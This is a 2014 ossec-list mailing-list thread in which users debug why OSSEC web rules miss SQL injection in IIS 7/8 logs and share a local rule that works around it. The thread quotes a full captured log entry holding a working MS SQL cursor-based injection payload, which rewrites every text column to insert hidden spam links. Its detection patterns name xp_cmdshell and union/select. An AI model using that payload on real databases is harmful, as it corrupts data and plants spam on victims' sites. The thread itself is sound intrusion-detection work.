On Wed, Dec 24, 2014 at 10:59 AM, James Whittington <[email protected]> wrote: >>>>Take your log, and change the IIS response from 200 to 404 and you >>>>get a positive result on a SQL injection attack. >> >>>>Add this to your local_rules.xml >>>> <rule id="100169" level="10"> >>>> <if_sid>31108</if_sid> >>>> >>>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >>>> <match>union+|where+|null,null|xp_cmdshell</match> >>>> <description>fix IIS matching SQL attacks</description> >>>> </rule> >>>> It'll work around the issue and start matching the sql injection >>>> attacks... >> >> Yep that works, thanks! >>>> Could you submit this to github as an issue with the repeatable log >>>> data? That'd probably work better on getting a >> resolution in >>>> the next release for this issue.... >> Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8 >> logs not triggering on Injection Attack Web Rule if response code >> matches ^2 or ^3" > > "If the rule above works, isnt' that the solution?" > Creating a rule on my local rules to catch a SQL injection attack that > returns a success code is a solution/workaround for me and who ever read the > post. > We created the issue on Github in hopes that the workaround can make it into > the core web_rules so it becomes a solution for all users who assume OSSEC is > watching over patterns of suspicious activity on their websites. >
And I think that's great. If it gets some more testing, and people seem happy with it we'll get it in there. > In what order are rules evaluated? Within a Group are rules evaluated by rule > number or position with the file ??? > I think it's order in the file, but I'm not positive. I do tests every once in a while to try and understand it, then forget my results shortly after. > With the web rules there are multiple rules that trigger on web-log rule > id="31100". > In this case: > - Both rules 31108 (Ignored URLs) and 31103 (SQL Injection Attack) look for > web-log rule id="31100". > - rule id="31108" (Ignored URLs (simple queries)) triggers first even though > I would guess the lower rule number 31103 would be evaluated first. > - in my web_rules.xml file Rule 31108 is listed before Rule 31103 so > logically the positioning of the rules seems out of order (thus my > questioning how rules were evaluated > > > James Whittington > > > -----Original Message----- > From: [email protected] [mailto:[email protected]] On > Behalf Of dan (ddp) > Sent: Wednesday, December 24, 2014 10:17 > To: [email protected] > Subject: Re: [ossec-list] Re: anyone know the status of the issue where IIS > logs are not able to trigger on web_rules.xml > > On Wed, Dec 24, 2014 at 10:12 AM, James Whittington > <[email protected]> wrote: >> >> >>>>Interesting. >> >>>>So, if the IIS response starts with a 2 or 3 (200 in your case), it >>>>likely passes the test and is ignored. There are some rules that >>>>are designed to trap the 200 OK attacks. >> >>>>But those aren't triggering either.. >> >> >> >>>>Take your log, and change the IIS response from 200 to 404 and you >>>>get a positive result on a SQL injection attack. >> >>>>Add this to your local_rules.xml >> >> >> >>>> <rule id="100169" level="10"> >>>> <if_sid>31108</if_sid> >>>> >>>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >>>> <match>union+|where+|null,null|xp_cmdshell</match> >>>> <description>fix IIS matching SQL attacks</description> >>>> </rule> >> >> >> >>>> It'll work around the issue and start matching the sql injection >>>> attacks... >> >> Yep that works, thanks! >> >> >> >>>> Could you submit this to github as an issue with the repeatable log >>>> data? That'd probably work better on getting a >> resolution in >>>> the next release for this issue.... >> >> >> >> Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8 >> logs not triggering on Injection Attack Web Rule if response code >> matches ^2 or ^3" >> >> >> >> Hopefully it's a simple fix and not too far reaching into the core >> logic of how alerts are decoded.. >> >> > > If the rule above works, isnt' that the solution? > >> >> >> >> >> >> On Tuesday, December 23, 2014 2:24:39 PM UTC-8, James Whittington wrote: >> >> >> >>>>What does ossec-logtest respond with on the sample below? >> >> >> >>>>2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - >>>> 2.3.4.5 HTTP/1.1 >>>> Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko >>>>- - IIS8-5Server 404 0 2 1477 256 0 >> >> >> >> Docodes as a common web attack: >> >> **Phase 2: Completed decoding. >> >> decoder: 'windows-date-format' >> >> url: '/cmd.exe -' >> >> srcip: '2.3.4.5' >> >> id: '404' >> >> >> >> **Phase 3: Completed filtering (rules). >> >> Rule id: '31104' >> >> Level: '6' >> >> Description: 'Common web attack.' >> >> **Alert to be generated. >> >> >> >> >> >>>>Can you provide a sample of the log with the SQL injection that isn't >>>>picked up by web rules? Also, could you provide the relevant >>>>>>portion of a URL you use to test a SQL injection attack? I'll try >>>>it on my systems and perhaps we can compare the logs to figure out >>where >>>>the issue is. >> >> >> >> Here is an example of a recent injection attack on a IIS 7 website, we >> are seeing reflections of the attacks as we send error stack traces to >> a central system endpoint and another hardware based IDS is picking up >> the activity as one webserver attacking another webserver. >> >> It's really long but here it is :<).. >> >> >> >> 2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET >> /search/programdetails.aspx >> id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);se >> t%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20se >> t%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(C >> HECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20st >> yle=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription >> %20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLA >> CE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronim >> o.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20 >> else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2B >> char(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''onl >> ine''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pil >> l''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a' >> '%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2B >> char(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sys >> indexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id >> %20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME% >> 20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar >> '%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=21 >> 47483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FET >> CH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d >> ;end;close%20@c-- >> 80 - 173.201.216.6 HTTP/1.1 >> Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24 >> .0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+sele >> ct+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+ca >> se+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="dis >> play:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+hre >> f="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+whe >> n+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.ru >> @template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"' >> '+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+1 >> +then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end++ >> char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char( >> 60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+i >> +INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA >> .COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+ >> like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_L >> ENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STA >> TUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- >> - >> http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c= >> cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+CO >> LUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+' >> 'div+style="display:none"''+char(62)+''abortion+pill+prescription+''+c >> har(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM( >> NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''ww >> w.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'' >> ,char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+'' >> online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''aborti >> on+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+aborti >> on+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+ >> sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INF >> ORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1) >> +and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHAR >> ACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;wh >> ile+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;cl >> ose+@c-- www.somesite.org 200 0 0 36560 3942 78 >> >> >> >> >> >> Get decoded as: >> >> **Phase 2: Completed decoding. >> >> decoder: 'windows-date-format' >> >> url: '/search/programdetails.aspx >> id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--' >> >> srcip: '173.201.216.6' >> >> id: '200' >> >> >> >> **Phase 3: Completed filtering (rules). >> >> Rule id: '31108' >> >> Level: '0' >> >> Description: 'Ignored URLs (simple queries).' >> >> >> >> The URL is decoding but should be triggering on this rule? >> >> >> >> <rule id="31103" level="6"> >> >> <if_sid>31100</if_sid> >> >> >> <url>=select%20|select+|insert%20|%20from%20|%20where%20|union%20|</ur >> l> >> >> <url>union+|where+|null,null|xp_cmdshell</url> >> >> <description>SQL injection attempt.</description> >> >> <group>attack,sql_injection,</group> >> >> </rule> >> >> >> On Monday, December 22, 2014 11:40:30 AM UTC-8, James Whittington wrote: >> >>>> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly >>>> for the built-in decoders in OSSEC. I even tested with Nexpose and >>>> they both work. >> >>>Can you please post a log sample that you know decodes properly and >>>for which the rules hit as they should? It would be nice to get to >>>the bottom of >>> >this. >> >> I haven't seen a log sample of IIS 7.5 and IIS 8.5 "flawlessly" >> decoding and triggering on default web rules so I was hoping someone >> would step up and show a decoded IIS log triggering on a web rule. >> >> From what I can tell on a logtest only the parent decoder displays so >> I think it would be tricky to know for sure which decoder was used last. >> >> I checked log samples from IIS 7, IIS 8, ISS 8 in the azure cloud and >> they all extract URL at least, but none seem to trigger on a simple >> SQL injection rule I had been previously advised that the >> documentation says all log fields must be checked (Yep did that a >> couple of years ago but I double checked anyway). >> I have also heard to just use something else to analyze IIS log events >> (and this is likely the best path for me at this point). >> >> I like the flexibility OSSEC gives me but I am pretty darn sure IIS >> logs will not trigger on web rules which is a shame. >> >> I guess I must be in the minority with using OSSEC to monitor IIS >> logs, or something in my setup is wrong, or folks just assume OSSEC is >> helping them watch IIS logs. >> >> I am just putting this topic back out there in case anything new had >> happened with it. >> >> James Whittington >> >> >> >> -----Original Message----- >> From: [email protected] [mailto:[email protected]] On >> Behalf Of Michael Starks >> Sent: Saturday, December 13, 2014 11:50 >> To: [email protected] >> Subject: Re: [ossec-list] Re: anyone know the status of the issue >> where IIS logs are not able to trigger on web_rules.xml >> >> On 12/12/2014 06:02 PM, Brent Morris wrote: >>> It should be noted that the decoders seem fine for me (and I suspect >>> everyone else). I think that github issue is bogus. >> >> I think it is correct, but of course I could have made a mistake. >> >>> Follow what I posted above... basically, IIS Manager > Default Web >>> Site >>>> Logging > Log File Format: W3C - select fields. *Check all the >>>> boxes >>> that are not checked*!!!!! I think there were 4 that weren't checked. >>> >>> Edit your OSSEC config on that box... >>> >>> <localfile> >>> <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location> >>> <log_format>iis</log_format> >>> </localfile> >>> >>> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly >>> for the built-in decoders in OSSEC. I even tested with Nexpose and >>> they both work. >> >> Can you please post a log sample that you know decodes properly and >> for which the rules hit as they should? It would be nice to get to the >> bottom of this. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, send >> an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, send >> an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, send >> an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, send >> an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google Groups > "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to [email protected]. > For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google Groups > "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to [email protected]. > For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/d/optout.
